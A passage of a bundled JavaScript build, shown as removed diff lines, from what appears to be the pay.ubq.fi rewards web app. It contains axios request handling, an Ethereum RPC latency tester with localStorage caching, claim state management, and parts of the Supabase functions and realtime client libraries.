= {}) : dummy = new Error(); - const stack = dummy.stack ? dummy.stack.replace(/^.+\n/, "") : ""; - try { - if (!err.stack) { - err.stack = stack; - } else if (stack && !String(err.stack).endsWith(stack.replace(/^.+\n.+\n/, ""))) { - err.stack += "\n" + stack; - } - } catch (e) { - } - } - throw err; - } - } - _request(configOrUrl, config) { - if (typeof configOrUrl === "string") { - config = config || {}; - config.url = configOrUrl; - } else { - config = configOrUrl || {}; - } - config = mergeConfig(this.defaults, config); - const { transitional: transitional2, paramsSerializer, headers } = config; - if (transitional2 !== void 0) { - validator_default.assertOptions(transitional2, { - silentJSONParsing: validators2.transitional(validators2.boolean), - forcedJSONParsing: validators2.transitional(validators2.boolean), - clarifyTimeoutError: validators2.transitional(validators2.boolean) - }, false); - } - if (paramsSerializer != null) { - if (utils_default.isFunction(paramsSerializer)) { - config.paramsSerializer = { - serialize: paramsSerializer - }; - } else { - validator_default.assertOptions(paramsSerializer, { - encode: validators2.function, - serialize: validators2.function - }, true); - } - } - config.method = (config.method || this.defaults.method || "get").toLowerCase(); - let contextHeaders = headers && utils_default.merge( - headers.common, - headers[config.method] - ); - headers && utils_default.forEach( - ["delete", "get", "head", "post", "put", "patch", "common"], - (method) => { - delete headers[method]; - } - ); - config.headers = AxiosHeaders_default.concat(contextHeaders, headers); - const requestInterceptorChain = []; - let synchronousRequestInterceptors = true; - this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) { - if (typeof interceptor.runWhen === "function" && interceptor.runWhen(config) === false) { - return; - } - synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous; - requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected); - }); - const responseInterceptorChain = []; - this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) { - responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected); - }); - let promise; - let i = 0; - let len; - if (!synchronousRequestInterceptors) { - const chain = [dispatchRequest.bind(this), void 0]; - chain.unshift.apply(chain, requestInterceptorChain); - chain.push.apply(chain, responseInterceptorChain); - len = chain.length; - promise = Promise.resolve(config); - while (i < len) { - promise = promise.then(chain[i++], chain[i++]); - } - return promise; - } - len = requestInterceptorChain.length; - let newConfig = config; - i = 0; - while (i < len) { - const onFulfilled = requestInterceptorChain[i++]; - const onRejected = requestInterceptorChain[i++]; - try { - newConfig = onFulfilled(newConfig); - } catch (error) { - onRejected.call(this, error); - break; - } - } - try { - promise = dispatchRequest.call(this, newConfig); - } catch (error) { - return Promise.reject(error); - } - i = 0; - len = responseInterceptorChain.length; - while (i < len) { - promise = promise.then(responseInterceptorChain[i++], responseInterceptorChain[i++]); - } - return promise; - } - getUri(config) { - config = mergeConfig(this.defaults, config); - const fullPath = buildFullPath(config.baseURL, config.url); - return buildURL(fullPath, config.params, config.paramsSerializer); - } - }; - utils_default.forEach(["delete", "get", "head", "options"], function forEachMethodNoData(method) { - Axios.prototype[method] = function(url, config) { - return this.request(mergeConfig(config || {}, { - method, - url, - data: (config || {}).data - })); - }; - }); - utils_default.forEach(["post", "put", "patch"], function forEachMethodWithData(method) { - function generateHTTPMethod(isForm) { - return function httpMethod(url, data, config) { - return this.request(mergeConfig(config || {}, { - method, - headers: isForm ? { - "Content-Type": "multipart/form-data" - } : {}, - url, - data - })); - }; - } - Axios.prototype[method] = generateHTTPMethod(); - Axios.prototype[method + "Form"] = generateHTTPMethod(true); - }); - var Axios_default = Axios; - init_define_chainIDList(); - init_define_extraRpcs(); - var CancelToken = class _CancelToken { - constructor(executor) { - if (typeof executor !== "function") { - throw new TypeError("executor must be a function."); - } - let resolvePromise; - this.promise = new Promise(function promiseExecutor(resolve) { - resolvePromise = resolve; - }); - const token = this; - this.promise.then((cancel) => { - if (!token._listeners) - return; - let i = token._listeners.length; - while (i-- > 0) { - token._listeners[i](cancel); - } - token._listeners = null; - }); - this.promise.then = (onfulfilled) => { - let _resolve; - const promise = new Promise((resolve) => { - token.subscribe(resolve); - _resolve = resolve; - }).then(onfulfilled); - promise.cancel = function reject() { - token.unsubscribe(_resolve); - }; - return promise; - }; - executor(function cancel(message, config, request) { - if (token.reason) { - return; - } - token.reason = new CanceledError_default(message, config, request); - resolvePromise(token.reason); - }); - } - /** - * Throws a `CanceledError` if cancellation has been requested. - */ - throwIfRequested() { - if (this.reason) { - throw this.reason; - } - } - /** - * Subscribe to the cancel signal - */ - subscribe(listener) { - if (this.reason) { - listener(this.reason); - return; - } - if (this._listeners) { - this._listeners.push(listener); - } else { - this._listeners = [listener]; - } - } - /** - * Unsubscribe from the cancel signal - */ - unsubscribe(listener) { - if (!this._listeners) { - return; - } - const index2 = this._listeners.indexOf(listener); - if (index2 !== -1) { - this._listeners.splice(index2, 1); - } - } - /** - * Returns an object that contains a new `CancelToken` and a function that, when called, - * cancels the `CancelToken`. - */ - static source() { - let cancel; - const token = new _CancelToken(function executor(c) { - cancel = c; - }); - return { - token, - cancel - }; - } - }; - var CancelToken_default = CancelToken; - init_define_chainIDList(); - init_define_extraRpcs(); - function spread(callback) { - return function wrap(arr) { - return callback.apply(null, arr); - }; - } - init_define_chainIDList(); - init_define_extraRpcs(); - function isAxiosError(payload) { - return utils_default.isObject(payload) && payload.isAxiosError === true; - } - init_define_chainIDList(); - init_define_extraRpcs(); - var HttpStatusCode = { - Continue: 100, - SwitchingProtocols: 101, - Processing: 102, - EarlyHints: 103, - Ok: 200, - Created: 201, - Accepted: 202, - NonAuthoritativeInformation: 203, - NoContent: 204, - ResetContent: 205, - PartialContent: 206, - MultiStatus: 207, - AlreadyReported: 208, - ImUsed: 226, - MultipleChoices: 300, - MovedPermanently: 301, - Found: 302, - SeeOther: 303, - NotModified: 304, - UseProxy: 305, - Unused: 306, - TemporaryRedirect: 307, - PermanentRedirect: 308, - BadRequest: 400, - Unauthorized: 401, - PaymentRequired: 402, - Forbidden: 403, - NotFound: 404, - MethodNotAllowed: 405, - NotAcceptable: 406, - ProxyAuthenticationRequired: 407, - RequestTimeout: 408, - Conflict: 409, - Gone: 410, - LengthRequired: 411, - PreconditionFailed: 412, - PayloadTooLarge: 413, - UriTooLong: 414, - UnsupportedMediaType: 415, - RangeNotSatisfiable: 416, - ExpectationFailed: 417, - ImATeapot: 418, - MisdirectedRequest: 421, - UnprocessableEntity: 422, - Locked: 423, - FailedDependency: 424, - TooEarly: 425, - UpgradeRequired: 426, - PreconditionRequired: 428, - TooManyRequests: 429, - RequestHeaderFieldsTooLarge: 431, - UnavailableForLegalReasons: 451, - InternalServerError: 500, - NotImplemented: 501, - BadGateway: 502, - ServiceUnavailable: 503, - GatewayTimeout: 504, - HttpVersionNotSupported: 505, - VariantAlsoNegotiates: 506, - InsufficientStorage: 507, - LoopDetected: 508, - NotExtended: 510, - NetworkAuthenticationRequired: 511 - }; - Object.entries(HttpStatusCode).forEach(([key22, value]) => { - HttpStatusCode[value] = key22; - }); - var HttpStatusCode_default = HttpStatusCode; - function createInstance(defaultConfig) { - const context = new Axios_default(defaultConfig); - const instance = bind(Axios_default.prototype.request, context); - utils_default.extend(instance, Axios_default.prototype, context, { allOwnKeys: true }); - utils_default.extend(instance, context, null, { allOwnKeys: true }); - instance.create = function create(instanceConfig) { - return createInstance(mergeConfig(defaultConfig, instanceConfig)); - }; - return instance; - } - var axios = createInstance(defaults_default); - axios.Axios = Axios_default; - axios.CanceledError = CanceledError_default; - axios.CancelToken = CancelToken_default; - axios.isCancel = isCancel; - axios.VERSION = VERSION; - axios.toFormData = toFormData_default; - axios.AxiosError = AxiosError_default; - axios.Cancel = axios.CanceledError; - axios.all = function all(promises) { - return Promise.all(promises); - }; - axios.spread = spread; - axios.isAxiosError = isAxiosError; - axios.mergeConfig = mergeConfig; - axios.AxiosHeaders = AxiosHeaders_default; - axios.formToJSON = (thing) => formDataToJSON_default(utils_default.isHTMLForm(thing) ? new FormData(thing) : thing); - axios.getAdapter = adapters_default.getAdapter; - axios.HttpStatusCode = HttpStatusCode_default; - axios.default = axios; - var axios_default = axios; - var { - Axios: Axios2, - AxiosError: AxiosError2, - CanceledError: CanceledError2, - isCancel: isCancel2, - CancelToken: CancelToken2, - VERSION: VERSION2, - all: all2, - Cancel, - isAxiosError: isAxiosError2, - spread: spread2, - toFormData: toFormData2, - AxiosHeaders: AxiosHeaders2, - HttpStatusCode: HttpStatusCode2, - formToJSON, - getAdapter, - mergeConfig: mergeConfig2 - } = axios_default; - var RPCService = class { - static async testRpcPerformance(networkId, latencies, runtimeRpcs, rpcHeader, rpcBody, rpcTimeout) { - const instance = axios_default.create({ - timeout: rpcTimeout, - headers: rpcHeader, - cancelToken: new axios_default.CancelToken((c) => setTimeout(() => c("Request Timeout"), rpcTimeout)) - }); - const successfulPromises = runtimeRpcs.map( - (rpcUrl) => new Promise((resolve) => { - const startTime = performance.now(); - instance.post(rpcUrl, rpcBody).then(() => { - const endTime = performance.now(); - resolve({ - rpcUrl, - duration: endTime - startTime, - success: true - }); - }).catch(() => { - resolve({ rpcUrl, success: false, duration: 0 }); - }); - }) - ); - const fastest = await Promise.race(successfulPromises); - if (fastest.success) { - latencies[`${networkId}__${fastest.rpcUrl}`] = fastest.duration; - } - const allResults = await Promise.allSettled(successfulPromises); - allResults.forEach((result) => { - if (result.status === "fulfilled" && result.value.success) { - latencies[`${networkId}__${result.value.rpcUrl}`] = result.value.duration; - } else if (result.status === "fulfilled") { - const fulfilledResult = result.value; - const index2 = runtimeRpcs.indexOf(fulfilledResult.rpcUrl); - if (index2 > -1) { - runtimeRpcs.splice(index2, 1); - } - } - }); - return { latencies, runtimeRpcs }; - } - static async findFastestRpc(latencies, networkId) { - try { - const validLatencies = Object.entries(latencies).filter(([key22]) => key22.startsWith(`${networkId}__`)).reduce( - (acc, [key22, value]) => { - acc[key22] = value; - return acc; - }, - {} - ); - return Object.keys(validLatencies).reduce((a, b) => validLatencies[a] < validLatencies[b] ? a : b).split("__")[1]; - } catch (error) { - console.error("[RPCService] Failed to find fastest RPC"); - return null; - } - } - static _verifyBlock(data) { - try { - const { jsonrpc, id: id22, result } = data; - const { number, timestamp, hash: hash3 } = result; - return jsonrpc === "2.0" && id22 === 1 && parseInt(number, 16) > 0 && parseInt(timestamp, 16) > 0 && hash3.match(/[0-9|a-f|A-F|x]/gm)?.join("").length === 66; - } catch (error) { - return false; - } - } - }; - init_define_chainIDList(); - init_define_extraRpcs(); - var StorageService = class { - static getLatencies(env, networkId) { - if (env === "browser") { - if (this.bypassForTests()) - return {}; - const latencies = JSON.parse(localStorage.getItem("rpcLatencies") || "{}"); - return Object.keys(latencies).reduce((acc, key22) => { - if (key22.startsWith(`${networkId}__`)) { - acc[key22] = latencies[key22]; - } - return acc; - }, {}); - } - return {}; - } - static getRefreshLatencies(env) { - if (env === "browser") { - if (this.bypassForTests()) - return 0; - const refresh = JSON.parse(localStorage.getItem("refreshLatencies") || "0"); - if (typeof refresh === "number") { - return refresh; - } else { - return 0; - } - } - return 0; - } - static setLatencies(env, latencies) { - if (env === "browser") { - if (this.bypassForTests()) - return; - localStorage.setItem("rpcLatencies", JSON.stringify(latencies)); - } - } - static setRefreshLatencies(env, refreshLatencies) { - if (env === "browser") { - if (this.bypassForTests()) - return; - localStorage.setItem("refreshLatencies", JSON.stringify(refreshLatencies)); - } - } - // This method is only used for env detection testing - static bypassForTests() { - if (typeof localStorage === "undefined") { - console.log("Passing test because localStorage is not defined."); - return true; - } - } - }; - var RPCHandler = class _RPCHandler { - static _instance = null; - _provider = null; - _networkId; - _networkName; - _env = "node"; - _rpcTimeout = Number.MAX_SAFE_INTEGER; - // ms - _cacheRefreshCycles = 10; - _refreshLatencies = 0; - _autoStorage = false; - _runtimeRpcs = []; - _latencies = {}; - _networkRpcs = []; - constructor(config) { - this._networkId = config.networkId; - this._networkRpcs = networkRpcs[this._networkId]; - this._networkName = networkNames[this._networkId]; - this._initialize(config); - } - async getFastestRpcProvider() { - if (this._networkId === 31337) { - this._provider = new JsonRpcProvider(LOCAL_HOST, this._networkId); - } else if (!this._provider) { - this._provider = await this.testRpcPerformance(); - } - if (this._provider && this._provider?.connection.url.includes("localhost") && this._networkId !== 31337) { - this._provider = await this.testRpcPerformance(); - } - return this._provider; - } - async testRpcPerformance() { - const shouldRefreshRpcs = Object.keys(this._latencies).filter((rpc) => rpc.startsWith(`${this._networkId}__`)).length <= 1 || this._refreshLatencies >= this._cacheRefreshCycles; - if (shouldRefreshRpcs) { - this._runtimeRpcs = networkRpcs[this._networkId]; - this._refreshLatencies = 0; - } else { - this._runtimeRpcs = Object.keys(this._latencies).map((rpc) => { - return rpc.split("__")[1]; - }); - } - await this._testRpcPerformance(); - const fastestRpcUrl = await RPCService.findFastestRpc(this._latencies, this._networkId); - if (!fastestRpcUrl) { - throw new Error("Failed to find fastest RPC"); - } - const provider = new JsonRpcProvider(fastestRpcUrl, this._networkId); - this._provider = provider; - if (this._autoStorage) { - StorageService.setLatencies(this._env, this._latencies); - StorageService.setRefreshLatencies(this._env, this._refreshLatencies); - } - if (!this._provider) { - throw new Error("Provider could not be initialized"); - } - return this._provider; - } - getProvider() { - if (!this._provider) { - throw new Error("Provider is not initialized"); - } - return this._provider; - } - static getInstance(config) { - if (!_RPCHandler._instance) { - if (!config) { - throw new Error("Config is required to initialize RPCHandler"); - } - _RPCHandler._instance = new _RPCHandler(config); - } - return _RPCHandler._instance; - } - clearInstance() { - _RPCHandler._instance = null; - } - getRuntimeRpcs() { - return this._runtimeRpcs; - } - getNetworkId() { - return this._networkId; - } - getNetworkName() { - return this._networkName; - } - getNetworkRpcs() { - return this._networkRpcs; - } - getLatencies() { - return this._latencies; - } - getRefreshLatencies() { - return this._refreshLatencies; - } - getCacheRefreshCycles() { - return this._cacheRefreshCycles; - } - async _testRpcPerformance() { - const { latencies, runtimeRpcs } = await RPCService.testRpcPerformance( - this._networkId, - this._latencies, - this._runtimeRpcs, - { "Content-Type": "application/json" }, - JSON.stringify({ - jsonrpc: "2.0", - method: "eth_getBlockByNumber", - params: ["latest", false], - id: 1 - }), - this._rpcTimeout - ); - this._runtimeRpcs = runtimeRpcs; - this._latencies = latencies; - this._refreshLatencies++; - StorageService.setLatencies(this._env, this._latencies); - StorageService.setRefreshLatencies(this._env, this._refreshLatencies); - } - _updateConfig(config) { - if (config.networkName) { - this._networkName = config.networkName; - } - if (config.networkRpcs) { - this._networkRpcs = [...this._networkRpcs, ...config.networkRpcs]; - } - if (config.runtimeRpcs) { - this._runtimeRpcs = config.runtimeRpcs; - } - if (config.cacheRefreshCycles) { - this._cacheRefreshCycles = config.cacheRefreshCycles; - } - if (config.rpcTimeout) { - this._rpcTimeout = config.rpcTimeout; - } - if (config.autoStorage) { - this._autoStorage = true; - this._latencies = StorageService.getLatencies(this._env, this._networkId); - this._refreshLatencies = StorageService.getRefreshLatencies(this._env); - } - } - _initialize(config) { - this._env = typeof window === "undefined" ? "node" : "browser"; - this._updateConfig(config); - } - }; - - // static/scripts/rewards/app-state.ts - var AppState = class { - claims = []; - claimTxs = {}; - _provider; - _currentIndex = 0; - _signer = null; - get signer() { - return this._signer; - } - set signer(value) { - this._signer = value; - } - get networkId() { - return this.reward?.networkId || null; - } - get provider() { - return this._provider; - } - set provider(value) { - this._provider = value; - } - get rewardIndex() { - return this._currentIndex; - } - get reward() { - return this.rewardIndex < this.claims.length ? this.claims[this.rewardIndex] : this.claims[0]; - } - get permitNetworkId() { - return this.reward?.networkId; - } - get currentExplorerUrl() { - if (!this.reward) { - return "https://blockscan.com"; - } - return networkExplorers[this.reward.networkId] || "https://blockscan.com"; - } - nextPermit() { - this._currentIndex = Math.min(this.claims.length - 1, this.rewardIndex + 1); - return this.reward; - } - previousPermit() { - this._currentIndex = Math.max(0, this._currentIndex - 1); - return this.reward; - } - }; - var app = new AppState(); - - // static/scripts/rewards/render-transaction/display-commit-hash.ts - function displayCommitHash() { - const buildElement = document.querySelector(`#build a`); - buildElement.innerHTML = "bf4aeff"; - buildElement.href = `https://github.com/ubiquity/pay.ubq.fi/commit/${"bf4aeff"}`; - } - - // node_modules/@supabase/functions-js/dist/module/helper.js - var resolveFetch = (customFetch) => { - let _fetch; - if (customFetch) { - _fetch = customFetch; - } else if (typeof fetch === "undefined") { - _fetch = (...args) => Promise.resolve().then(() => (init_browser(), browser_exports)).then(({ default: fetch3 }) => fetch3(...args)); - } else { - _fetch = fetch; - } - return (...args) => _fetch(...args); - }; - - // node_modules/@supabase/functions-js/dist/module/types.js - var FunctionsError = class extends Error { - constructor(message, name = "FunctionsError", context) { - super(message); - this.name = name; - this.context = context; - } - }; - var FunctionsFetchError = class extends FunctionsError { - constructor(context) { - super("Failed to send a request to the Edge Function", "FunctionsFetchError", context); - } - }; - var FunctionsRelayError = class extends FunctionsError { - constructor(context) { - super("Relay Error invoking the Edge Function", "FunctionsRelayError", context); - } - }; - var FunctionsHttpError = class extends FunctionsError { - constructor(context) { - super("Edge Function returned a non-2xx status code", "FunctionsHttpError", context); - } - }; - var FunctionRegion; - (function(FunctionRegion2) { - FunctionRegion2["Any"] = "any"; - FunctionRegion2["ApNortheast1"] = "ap-northeast-1"; - FunctionRegion2["ApNortheast2"] = "ap-northeast-2"; - FunctionRegion2["ApSouth1"] = "ap-south-1"; - FunctionRegion2["ApSoutheast1"] = "ap-southeast-1"; - FunctionRegion2["ApSoutheast2"] = "ap-southeast-2"; - FunctionRegion2["CaCentral1"] = "ca-central-1"; - FunctionRegion2["EuCentral1"] = "eu-central-1"; - FunctionRegion2["EuWest1"] = "eu-west-1"; - FunctionRegion2["EuWest2"] = "eu-west-2"; - FunctionRegion2["EuWest3"] = "eu-west-3"; - FunctionRegion2["SaEast1"] = "sa-east-1"; - FunctionRegion2["UsEast1"] = "us-east-1"; - FunctionRegion2["UsWest1"] = "us-west-1"; - FunctionRegion2["UsWest2"] = "us-west-2"; - })(FunctionRegion || (FunctionRegion = {})); - - // node_modules/@supabase/functions-js/dist/module/FunctionsClient.js - var __awaiter9 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var FunctionsClient = class { - constructor(url, { headers = {}, customFetch, region = FunctionRegion.Any } = {}) { - this.url = url; - this.headers = headers; - this.region = region; - this.fetch = resolveFetch(customFetch); - } - /** - * Updates the authorization header - * @param token - the new jwt token sent in the authorisation header - */ - setAuth(token) { - this.headers.Authorization = `Bearer ${token}`; - } - /** - * Invokes a function - * @param functionName - The name of the Function to invoke. - * @param options - Options for invoking the Function. - */ - invoke(functionName, options = {}) { - var _a; - return __awaiter9(this, void 0, void 0, function* () { - try { - const { headers, method, body: functionArgs } = options; - let _headers = {}; - let { region } = options; - if (!region) { - region = this.region; - } - if (region && region !== "any") { - _headers["x-region"] = region; - } - let body; - if (functionArgs && (headers && !Object.prototype.hasOwnProperty.call(headers, "Content-Type") || !headers)) { - if (typeof Blob !== "undefined" && functionArgs instanceof Blob || functionArgs instanceof ArrayBuffer) { - _headers["Content-Type"] = "application/octet-stream"; - body = functionArgs; - } else if (typeof functionArgs === "string") { - _headers["Content-Type"] = "text/plain"; - body = functionArgs; - } else if (typeof FormData !== "undefined" && functionArgs instanceof FormData) { - body = functionArgs; - } else { - _headers["Content-Type"] = "application/json"; - body = JSON.stringify(functionArgs); - } - } - const response = yield this.fetch(`${this.url}/${functionName}`, { - method: method || "POST", - // headers priority is (high to low): - // 1. invoke-level headers - // 2. client-level headers - // 3. default Content-Type header - headers: Object.assign(Object.assign(Object.assign({}, _headers), this.headers), headers), - body - }).catch((fetchError) => { - throw new FunctionsFetchError(fetchError); - }); - const isRelayError = response.headers.get("x-relay-error"); - if (isRelayError && isRelayError === "true") { - throw new FunctionsRelayError(response); - } - if (!response.ok) { - throw new FunctionsHttpError(response); - } - let responseType = ((_a = response.headers.get("Content-Type")) !== null && _a !== void 0 ? _a : "text/plain").split(";")[0].trim(); - let data; - if (responseType === "application/json") { - data = yield response.json(); - } else if (responseType === "application/octet-stream") { - data = yield response.blob(); - } else if (responseType === "text/event-stream") { - data = response; - } else if (responseType === "multipart/form-data") { - data = yield response.formData(); - } else { - data = yield response.text(); - } - return { data, error: null }; - } catch (error) { - return { data: null, error }; - } - }); - } - }; - - // node_modules/@supabase/postgrest-js/dist/esm/wrapper.mjs - var import_cjs = __toESM(require_cjs(), 1); - var { - PostgrestClient, - PostgrestQueryBuilder, - PostgrestFilterBuilder, - PostgrestTransformBuilder, - PostgrestBuilder - } = import_cjs.default; - - // node_modules/@supabase/realtime-js/dist/module/lib/version.js - var version17 = "2.10.2"; - - // node_modules/@supabase/realtime-js/dist/module/lib/constants.js - var DEFAULT_HEADERS = { "X-Client-Info": `realtime-js/${version17}` }; - var VSN = "1.0.0"; - var DEFAULT_TIMEOUT = 1e4; - var WS_CLOSE_NORMAL = 1e3; - var SOCKET_STATES; - (function(SOCKET_STATES2) { - SOCKET_STATES2[SOCKET_STATES2["connecting"] = 0] = "connecting"; - SOCKET_STATES2[SOCKET_STATES2["open"] = 1] = "open"; - SOCKET_STATES2[SOCKET_STATES2["closing"] = 2] = "closing"; - SOCKET_STATES2[SOCKET_STATES2["closed"] = 3] = "closed"; - })(SOCKET_STATES || (SOCKET_STATES = {})); - var CHANNEL_STATES; - (function(CHANNEL_STATES2) { - CHANNEL_STATES2["closed"] = "closed"; - CHANNEL_STATES2["errored"] = "errored"; - CHANNEL_STATES2["joined"] = "joined"; - CHANNEL_STATES2["joining"] = "joining"; - CHANNEL_STATES2["leaving"] = "leaving"; - })(CHANNEL_STATES || (CHANNEL_STATES = {})); - var CHANNEL_EVENTS; - (function(CHANNEL_EVENTS2) { - CHANNEL_EVENTS2["close"] = "phx_close"; - CHANNEL_EVENTS2["error"] = "phx_error"; - CHANNEL_EVENTS2["join"] = "phx_join"; - CHANNEL_EVENTS2["reply"] = "phx_reply"; - CHANNEL_EVENTS2["leave"] = "phx_leave"; - CHANNEL_EVENTS2["access_token"] = "access_token"; - })(CHANNEL_EVENTS || (CHANNEL_EVENTS = {})); - var TRANSPORTS; - (function(TRANSPORTS2) { - TRANSPORTS2["websocket"] = "websocket"; - })(TRANSPORTS || (TRANSPORTS = {})); - var CONNECTION_STATE; - (function(CONNECTION_STATE2) { - CONNECTION_STATE2["Connecting"] = "connecting"; - CONNECTION_STATE2["Open"] = "open"; - CONNECTION_STATE2["Closing"] = "closing"; - CONNECTION_STATE2["Closed"] = "closed"; - })(CONNECTION_STATE || (CONNECTION_STATE = {})); - - // node_modules/@supabase/realtime-js/dist/module/lib/serializer.js - var Serializer = class { - constructor() { - this.HEADER_LENGTH = 1; - } - decode(rawPayload, callback) { - if (rawPayload.constructor === ArrayBuffer) { - return callback(this._binaryDecode(rawPayload)); - } - if (typeof rawPayload === "string") { - return callback(JSON.parse(rawPayload)); - } - return callback({}); - } - _binaryDecode(buffer) { - const view = new DataView(buffer); - const decoder = new TextDecoder(); - return this._decodeBroadcast(buffer, view, decoder); - } - _decodeBroadcast(buffer, view, decoder) { - const topicSize = view.getUint8(1); - const eventSize = view.getUint8(2); - let offset = this.HEADER_LENGTH + 2; - const topic = decoder.decode(buffer.slice(offset, offset + topicSize)); - offset = offset + topicSize; - const event = decoder.decode(buffer.slice(offset, offset + eventSize)); - offset = offset + eventSize; - const data = JSON.parse(decoder.decode(buffer.slice(offset, buffer.byteLength))); - return { ref: null, topic, event, payload: data }; - } - }; - - // node_modules/@supabase/realtime-js/dist/module/lib/timer.js - var Timer = class { - constructor(callback, timerCalc) { - this.callback = callback; - this.timerCalc = timerCalc; - this.timer = void 0; - this.tries = 0; - this.callback = callback; - this.timerCalc = timerCalc; - } - reset() { - this.tries = 0; - clearTimeout(this.timer); - } - // Cancels any previous scheduleTimeout and schedules callback - scheduleTimeout() { - clearTimeout(this.timer); - this.timer = setTimeout(() => { - this.tries = this.tries + 1; - this.callback(); - }, this.timerCalc(this.tries + 1)); - } - }; - - // node_modules/@supabase/realtime-js/dist/module/lib/transformers.js - var PostgresTypes; - (function(PostgresTypes2) { - PostgresTypes2["abstime"] = "abstime"; - PostgresTypes2["bool"] = "bool"; - PostgresTypes2["date"] = "date"; - PostgresTypes2["daterange"] = "daterange"; - PostgresTypes2["float4"] = "float4"; - PostgresTypes2["float8"] = "float8"; - PostgresTypes2["int2"] = "int2"; - PostgresTypes2["int4"] = "int4"; - PostgresTypes2["int4range"] = "int4range"; - PostgresTypes2["int8"] = "int8"; - PostgresTypes2["int8range"] = "int8range"; - PostgresTypes2["json"] = "json"; - PostgresTypes2["jsonb"] = "jsonb"; - PostgresTypes2["money"] = "money"; - PostgresTypes2["numeric"] = "numeric"; - PostgresTypes2["oid"] = "oid"; - PostgresTypes2["reltime"] = "reltime"; - PostgresTypes2["text"] = "text"; - PostgresTypes2["time"] = "time"; - PostgresTypes2["timestamp"] = "timestamp"; - PostgresTypes2["timestamptz"] = "timestamptz"; - PostgresTypes2["timetz"] = "timetz"; - PostgresTypes2["tsrange"] = "tsrange"; - PostgresTypes2["tstzrange"] = "tstzrange"; - })(PostgresTypes || (PostgresTypes = {})); - var convertChangeData = (columns, record, options = {}) => { - var _a; - const skipTypes = (_a = options.skipTypes) !== null && _a !== void 0 ? _a : []; - return Object.keys(record).reduce((acc, rec_key) => { - acc[rec_key] = convertColumn(rec_key, columns, record, skipTypes); - return acc; - }, {}); - }; - var convertColumn = (columnName, columns, record, skipTypes) => { - const column = columns.find((x) => x.name === columnName); - const colType = column === null || column === void 0 ? void 0 : column.type; - const value = record[columnName]; - if (colType && !skipTypes.includes(colType)) { - return convertCell(colType, value); - } - return noop2(value); - }; - var convertCell = (type, value) => { - if (type.charAt(0) === "_") { - const dataType = type.slice(1, type.length); - return toArray2(value, dataType); - } - switch (type) { - case PostgresTypes.bool: - return toBoolean(value); - case PostgresTypes.float4: - case PostgresTypes.float8: - case PostgresTypes.int2: - case PostgresTypes.int4: - case PostgresTypes.int8: - case PostgresTypes.numeric: - case PostgresTypes.oid: - return toNumber(value); - case PostgresTypes.json: - case PostgresTypes.jsonb: - return toJson(value); - case PostgresTypes.timestamp: - return toTimestampString(value); - case PostgresTypes.abstime: - case PostgresTypes.date: - case PostgresTypes.daterange: - case PostgresTypes.int4range: - case PostgresTypes.int8range: - case PostgresTypes.money: - case PostgresTypes.reltime: - case PostgresTypes.text: - case PostgresTypes.time: - case PostgresTypes.timestamptz: - case PostgresTypes.timetz: - case PostgresTypes.tsrange: - case PostgresTypes.tstzrange: - return noop2(value); - default: - return noop2(value); - } - }; - var noop2 = (value) => { - return value; - }; - var toBoolean = (value) => { - switch (value) { - case "t": - return true; - case "f": - return false; - default: - return value; - } - }; - var toNumber = (value) => { - if (typeof value === "string") { - const parsedValue = parseFloat(value); - if (!Number.isNaN(parsedValue)) { - return parsedValue; - } - } - return value; - }; - var toJson = (value) => { - if (typeof value === "string") { - try { - return JSON.parse(value); - } catch (error) { - console.log(`JSON parse error: ${error}`); - return value; - } - } - return value; - }; - var toArray2 = (value, type) => { - if (typeof value !== "string") { - return value; - } - const lastIdx = value.length - 1; - const closeBrace = value[lastIdx]; - const openBrace = value[0]; - if (openBrace === "{" && closeBrace === "}") { - let arr; - const valTrim = value.slice(1, lastIdx); - try { - arr = JSON.parse("[" + valTrim + "]"); - } catch (_) { - arr = valTrim ? valTrim.split(",") : []; - } - return arr.map((val) => convertCell(type, val)); - } - return value; - }; - var toTimestampString = (value) => { - if (typeof value === "string") { - return value.replace(" ", "T"); - } - return value; - }; - var httpEndpointURL = (socketUrl) => { - let url = socketUrl; - url = url.replace(/^ws/i, "http"); - url = url.replace(/(\/socket\/websocket|\/socket|\/websocket)\/?$/i, ""); - return url.replace(/\/+$/, ""); - }; - - // node_modules/@supabase/realtime-js/dist/module/lib/push.js - var Push = class { - /** - * Initializes the Push - * - * @param channel The Channel - * @param event The event, for example `"phx_join"` - * @param payload The payload, for example `{user_id: 123}` - * @param timeout The push timeout in milliseconds - */ - constructor(channel, event, payload = {}, timeout = DEFAULT_TIMEOUT) { - this.channel = channel; - this.event = event; - this.payload = payload; - this.timeout = timeout; - this.sent = false; - this.timeoutTimer = void 0; - this.ref = ""; - this.receivedResp = null; - this.recHooks = []; - this.refEvent = null; - } - resend(timeout) { - this.timeout = timeout; - this._cancelRefEvent(); - this.ref = ""; - this.refEvent = null; - this.receivedResp = null; - this.sent = false; - this.send(); - } - send() { - if (this._hasReceived("timeout")) { - return; - } - this.startTimeout(); - this.sent = true; - this.channel.socket.push({ - topic: this.channel.topic, - event: this.event, - payload: this.payload, - ref: this.ref, - join_ref: this.channel._joinRef() - }); - } - updatePayload(payload) { - this.payload = Object.assign(Object.assign({}, this.payload), payload); - } - receive(status, callback) { - var _a; - if (this._hasReceived(status)) { - callback((_a = this.receivedResp) === null || _a === void 0 ? void 0 : _a.response); - } - this.recHooks.push({ status, callback }); - return this; - } - startTimeout() { - if (this.timeoutTimer) { - return; - } - this.ref = this.channel.socket._makeRef(); - this.refEvent = this.channel._replyEventName(this.ref); - const callback = (payload) => { - this._cancelRefEvent(); - this._cancelTimeout(); - this.receivedResp = payload; - this._matchReceive(payload); - }; - this.channel._on(this.refEvent, {}, callback); - this.timeoutTimer = setTimeout(() => { - this.trigger("timeout", {}); - }, this.timeout); - } - trigger(status, response) { - if (this.refEvent) - this.channel._trigger(this.refEvent, { status, response }); - } - destroy() { - this._cancelRefEvent(); - this._cancelTimeout(); - } - 